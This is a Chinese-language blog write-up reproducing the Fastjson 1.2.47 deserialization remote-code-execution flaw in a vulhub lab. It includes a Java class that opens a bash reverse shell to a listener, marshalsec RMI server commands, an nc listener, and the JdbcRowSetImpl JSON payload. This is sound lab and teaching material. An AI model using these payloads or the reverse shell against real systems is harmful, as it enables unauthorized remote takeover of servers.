Fastjson反序列化漏洞vulhub靶场复现

本文最后更新于:2023年7月1日 下午

Fastjson简介

​ Fastjson是java的一个库,可以将java对象转化为json格式的字符串,也可以将json格式的字符串转化为java对象 提供了 toJSONString()parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方法即可将对象转换成 JSON 字符串,parseObject 方法则反过来将 JSON 字符串转换成对象。

反序列化漏洞原理

在反序列化的时候,会进入parseField方法,进入该方法后,就会调用setValue(object, value)方法,在这里,会执行构造的恶意代码,最后造成代码执行。 那么通过以上步骤,我们可以知道该漏洞的利用点有两个,第一是需要我们指定一个类,这个类的作用是为了让程序获取这个类来进行反序列化操作。第二是需要将需要执行的代码提供给程序,所以这里使用了rmi。 然后反序列化的时候会去请求rmi服务器,地址为: dnslog.cn/aaa。然后加载aaa这个恶意class文件从而造成代码执行。

利用条件

  1. Fastjson提供了反序列化功能,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名;

  2. Fastjson自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的setter方法及部分getter方法。

  3. 目标服务器存在fastjson。

  4. 没有对用户传输的数据进行严格过滤。

漏洞复现

Target machine:192.168.172.136 -->kali

Attack machine:192.168.3.126 -->windows

搭建靶场

进入vulhub相关目录下开启靶场并进行访问。

靶场搭建需要用到docker和docker-compose以及vulhub相关靶场文件有关docker的搭建和docker-compose 的下载参考网上相关文献,这里不写,就是单纯的懒┗( ▔, ▔ )┛

docker-compose链接:https://github.com/docker/compose/releases

vulhub链接:https://github.com/vulhub/vulhub

靶场目录:vulhub-master/fastjson/1.2.47-rce

在该目录下利用docker-compose启动靶场:

1
2
docker-compose up -d      
docker

访问地址:192.168.172.136:8090

打靶

利用Burpsuite抓包,修改请求方式、请求正文以及正文类型,判断是否为fastjson框架,如果是fastjson框架,请求包中应该有一个严格的格式才能解析,否则会报错!

准备一个恶意的java类Exploit.java并用javac编译rmi.java文件,生成一个类文件Exploit.class

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.172.129/6666 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
//这里的ip地址要改为另外一台kali的ip地址,之后该kali要在6666端口开启nc监听

执行命令:

1
javac Exploit.java    //执行命令

从github上下载:marshalsec-jar

工具地址:https://github.com/RandomRobbieBF/marshalsec-jar

然后将以上三个文件放到同一个文件夹。

在当前文件夹下打开cmd利用python开启简易http服务器,浏览器访问验证。

1
2
# HTTPServer
python2 -m SimpleHTTPServer 8000 //这里只能用python2,python3无法打开

启动rmi服务器

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.3.126:8000/#Exploit" 9999  

在哪台机器上编译的java恶意类就要在哪台机器上启动RMI服务器

在kali中开启nc监听

1
nc -lvvp 6666

访问漏洞网站并使用BP抓包且将GET请求修改为POST请求,反弹shell的POC如下(要记得Content-Type改为: application/json,否则不成功)发送请求。

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.3.105:9999/Exploit",
"autoCommit":true
}
}

反弹成功,kali成功上线目标靶机!!

最终结果


Fastjson反序列化漏洞vulhub靶场复现
https://jsweetcoffee.github.io/posts/13d6b9a5.html
作者
SCxiaoyun
发布于
2023年6月29日
许可协议